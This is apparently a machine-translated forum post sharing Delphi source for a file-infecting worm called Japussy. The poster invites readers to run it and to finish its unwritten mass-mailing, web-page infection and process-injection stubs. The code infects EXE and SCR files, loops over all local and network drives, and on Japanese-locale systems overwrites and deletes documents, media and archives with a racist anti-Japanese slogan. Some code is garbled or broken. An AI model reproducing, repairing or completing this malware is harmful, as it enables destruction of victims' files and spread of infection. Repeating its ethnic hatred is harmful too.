I looked, is written with Delphi, according to the comments, it should be D5SP1 version, I used D7SP1, handled a few problems, compiling passed, but did not dare to try, I do not know who would like to try. hehe.
Copy Code code as follows:
Program Japussy;
Uses
Windows, Sysutils, Classes, Graphics, shellapi{, Registry};
Const
Headersize = 82432; The size of the virus body
Iconoffset = $12eb8; The offset of the PE file's main icon
The size of the compiler on my Delphi5 SP1, other versions of Delphi may be different
Look for a hexadecimal string of 2800000020 to find the offset of the primary icon
{
Headersize = 38912; UPX compresses the size of the virus body
Iconoffset = $92BC; UPX compressed The offset of the primary icon of the PE file
UPX 1.24W usage: upx-9--8086 Japussy.exe
}
Iconsize = $2e8; PE file main icon size--744 bytes
Icontail = Iconoffset + iconsize; The tail of the PE file's main icon
ID = $44444444; Infection Markers
LJ Code, for writing.
Catchword = ' If a race need to being killed out, it must is Yamato. '' +
' If a country need to being destroyed, it must be japan! '' +
' * * * * * W32. JAPUSSY.WORM.A * * * *;
{$R *. RES}
function registerserviceprocess (Dwprocessid, Dwtype:integer): Integer;
stdcall; External ' Kernel32.dll '; function declaration
Var
tmpfile:string;
Si:startupinfo;
Pi:process_information;
Isjap:boolean = False; Japanese operating system markings
{Determine if Win9x}
function Iswin9x:boolean;
Var
Ver:tosversioninfo;
Begin
Result: = False;
Ver.dwosversioninfosize: = SizeOf (Tosversioninfo);
If not GetVersionEx (Ver) Then
Exit;
if (Ver.dwplatformid = ver_platform_win32_windows) then//win9x
Result: = True;
End
{Copying between streams}
Procedure CopyStream (src:tstream; sstartpos:integer; Dst:tstream;
Dstartpos:integer; Count:integer);
Var
Scurpos, Dcurpos:integer;
Begin
Scurpos: = src.position;
Dcurpos: = dst.position;
Src.seek (sstartpos, 0);
Dst.seek (dstartpos, 0);
Dst.copyfrom (SRC, Count);
Src.seek (scurpos, 0);
Dst.seek (dcurpos, 0);
End
{Isolate the host file from the infected PE file for use}
Procedure Extractfile (filename:string);
Var
Sstream, Dstream:tfilestream;
Begin
Try
Sstream: = tfilestream.create (paramstr (0), fmopenread or Fmsharedenynone);
Try
Dstream: = Tfilestream.create (FileName, fmcreate);
Try
Sstream.seek (headersize, 0); Skip the viral part of the head
Dstream.copyfrom (Sstream, sstream.size-headersize);
Finally
Dstream.free;
End
Finally
Sstream.free;
End
Except
End
End
{Fill STARTUPINFO structure}
Procedure Fillstartupinfo (Var si:startupinfo; State:word);
Begin
SI.CB: = SizeOf (Si);
Si.lpreserved: = nil;
Si.lpdesktop: = nil;
Si.lptitle: = nil;
Si.dwflags: = Startf_useshowwindow;
Si.wshowwindow: = State;
Si.cbreserved2: = 0;
Si.lpreserved2: = nil;
End
{Send Poison message}
Procedure SendMail;
Begin
Who is willing to finish it?
End
{Infected PE file}
Procedure Infectonefile (filename:string);
Var
Hdrstream, Srcstream:tfilestream;
Icostream, Dststream:tmemorystream;
Iid:longint;
Aicon:ticon;
Infected, Ispe:boolean;
I:integer;
Buf:array[0..1] of Char;
Begin
Try//Error file is being used, exiting
If Comparetext (FileName, ' Japussy. EXE ') = 0 then//is not infected by himself
Exit;
Infected: = False;
IsPE: = False;
SRCStream: = Tfilestream.create (FileName, Fmopenread);
Try
For I: = 0 to $108 do//check PE file headers
Begin
Srcstream.seek (i, sofrombeginning);
Srcstream.read (Buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then//pe tag
Begin
IsPE: = True; is a PE file
break;
End
End
Srcstream.seek ( -4, sofromend); Check for infection marks
Srcstream.read (IID, 4);
if (IID = ID) or (Srcstream.size < 10240) then//too small files are not infected
Infected: = True;
Finally
Srcstream.free;
End
If infected or (not IsPE) then//exit if infected or not a PE file
Exit;
Icostream: = tmemorystream.create;
Dststream: = tmemorystream.create;
Try
Aicon: = ticon.create;
Try
Gets the main icon (744 bytes) of the infected file and stores the stream
Aicon.releasehandle;
Aicon.handle: = ExtractIcon (HInstance, Pchar (FileName), 0);
Aicon.savetostream (Icostream);
Finally
Aicon.free;
End
SRCStream: = Tfilestream.create (FileName, Fmopenread);
Header file
Hdrstream: = tfilestream.create (paramstr (0), fmopenread or Fmsharedenynone);
Try
Data before writing to the virus body main icon
CopyStream (hdrstream, 0, Dststream, 0, Iconoffset);
Write the main icon for the current program
CopyStream (Icostream, Dststream, Iconoffset, iconsize);
Data written to the virus body's main icon to the tail of the virus
CopyStream (Hdrstream, Icontail, Dststream, Icontail, Headersize-icontail);
Write Host Program
CopyStream (SRCStream, 0, Dststream, headersize, srcstream.size);
Write an infected tag
Dststream.seek (0, 2);
IID: = $44444444;
Dststream.write (IID, 4);
Finally
Hdrstream.free;
End
Finally
Srcstream.free;
Icostream.free;
Dststream.savetofile (FileName); Replace host File
Dststream.free;
End
Except
End
End
{Delete the target file after you write to LJ code}
Procedure Smashfile (filename:string);
Var
Filehandle:integer;
I, Size, Mass, Max, Len:integer;
Begin
Try
SetFileAttributes (Pchar (FileName), 0); Remove read-only property
FileHandle: = FileOpen (FileName, fmopenwrite); Open File
Try
Size: = GetFileSize (FileHandle, nil); File size
I: = 0;
Randomize;
Max: = Random (15); Random number of writes to LJ Code
If Max < 5 Then
Max: = 5;
Mass: = Size div Max; Size of each spacer block
Len: = Length (Catchword);
While I < Max do
Begin
FileSeek (FileHandle, I * Mass, 0); Positioning
Write LJ code and completely destroy the file.
FileWrite (FileHandle, Catchword, Len);
INC (i);
End
Finally
FileClose (FileHandle); Close File
End
DeleteFile (Pchar (FileName)); Delete the
Except
End
End
{Get a writable list of drives}
function getdrives:string;
Var
Disktype:word;
D:char;
str:string;
I:integer;
Begin
For I: = 0 todo//Traverse 26 Letters
Begin
D: = Chr (i + 65);
STR: = D + ': ';
Disktype: = GetDriveType (Pchar (STR));
Get local disk and network disk
if (Disktype = drive_fixed) or (Disktype = drive_remote) Then
Result: = result + D;
End
End
{Traverse directory, infect and destroy files}
Procedure Loopfiles (Path, mask:string);
Var
I, Count:integer;
Fn, ext:string;
Subdir:tstrings;
Searchrec:tsearchrec;
msg:tmsg;
function Isvaliddir (SEARCHREC:TSEARCHREC): Integer;
Begin
if (searchrec.attr '. ') and
(Searchrec.name <> ' ... ') Then
Result: = 0//Not directory
else if (searchrec.attr =) and (Searchrec.name <> '. ') and
(Searchrec.name <> ' ... ') Then
Result: = 1//Not the root directory
else Result: = 2; is the root directory
End
Begin
if (FindFirst (Path + Mask, faanyfile, Searchrec) = 0) Then
Begin
Repeat
PeekMessage (MSG, 0, 0, 0, pm_remove); Adjust message queues to avoid suspicion
If Isvaliddir (Searchrec) = 0 Then
Begin
Fn: = Path + searchrec.name;
EXT: = Uppercase (Extractfileext (Fn));
if (Ext = '. EXE ') or (Ext = '. SCR ') Then
Begin
Infectonefile (Fn); Infected executable file
End
else if (Ext = '. HTM ') or (Ext = '. HTML ') or (Ext = '. ASP ') Then
Begin
Infect HTML and ASP files, write Base64 encoded virus
Infect all Users browsing this page
Which Big Brother is willing to finish it?
End
else if Ext = '. WAB ' then//outlook Address Book file
Begin
Get Outlook mail address
End
else if Ext = '. ADC ' then//foxmail address auto Complete file
Begin
Get Foxmail mail address
End
else if Ext = ' IND ' then//foxmail Address Book file
Begin
Get Foxmail mail address
End
Else
Begin
If Isjap then//is a Japanese language operating system
Begin
if (Ext = '. DOC ') or (Ext = '. XLS ') or (Ext = '. MDB ') or
(Ext = '. MP3 ') or (Ext = '. RM ') or (Ext = '. RA ') or
(Ext = '. WMA ') or (Ext = '. ZIP ') or (Ext = '. RAR ') or
(Ext = '. MPEG ') or (Ext = '. ASF ') or (Ext = '. JPG ') or
(Ext = '. JPEG ') or (Ext = '. GIF ') or (Ext = '. SWF ') or
(Ext = '. PDF ') or (Ext = '. CHM ') or (Ext = '. AVI ') Then
Smashfile (Fn); Destroy files
End
End
End
200 milliseconds of sleep after infection or deletion of a file, avoiding excessive CPU usage and causing suspicion
Sleep (200);
Until (FindNext (SEARCHREC) <> 0);
End
FindClose (SEARCHREC);
SubDir: = tstringlist.create;
if (FindFirst (Path + ' *.* ', fadirectory, Searchrec) = 0) Then
Begin
Repeat
If Isvaliddir (searchrec) = 1 Then
Subdir.add (Searchrec.name);
Until (FindNext (SEARCHREC) <> 0);
End
FindClose (SEARCHREC);
Count: = subdir.count-1;
For I: = 0 to Count do
Loopfiles (Path + subdir.strings + ", Mask);
Freeandnil (SubDir);
End
{Traverse all files on disk}
Procedure Infectfiles;
Var
driverlist:string;
I, Len:integer;
Begin
If GETACP = 932 then//Japanese operating system
Isjap: = True; Go to hell!
DriverList: = getdrives; Get a writable list of disks
Len: = Length (driverlist);
While True do//Dead loops
Begin
For I: = Len downto 1 do//traverse each disk drive
Loopfiles (driverlist + ': ', ' *.* '); Infection of
SendMail; e-mail with Poison
Sleep (1000 * 60 * 5); Sleep for 5 minutes
End
End
{Main program start}
Begin
If Iswin9x then//is Win9x
RegisterServiceProcess (GetCurrentProcessId, 1)//Register as service process
else//winnt
Begin
Remote thread mapping to the explorer process
Which brother would like to finish it?
End
If the original virus body itself
If Comparetext (Extractfilename (paramstr (0)), ' Japussy.exe ' = 0 Then
Infectfiles//Infection and email
else//already parasitic on host program, start work
Begin
Tmpfile: = paramstr (0); Create temporary files
Delete (Tmpfile, Length (tmpfile)-4, 4);
Tmpfile: = tmpfile + #32 + '. exe '; Real host file, one more space
Extractfile (tmpfile); Separation of
Fillstartupinfo (Si, Sw_showdefault);
CreateProcess (Pchar (tmpfile), Pchar (tmpfile), nil, nil, True,
0, Nil, '. ', Si, Pi); Create a new process run
Infectfiles; infecting and sending mail
End
End.
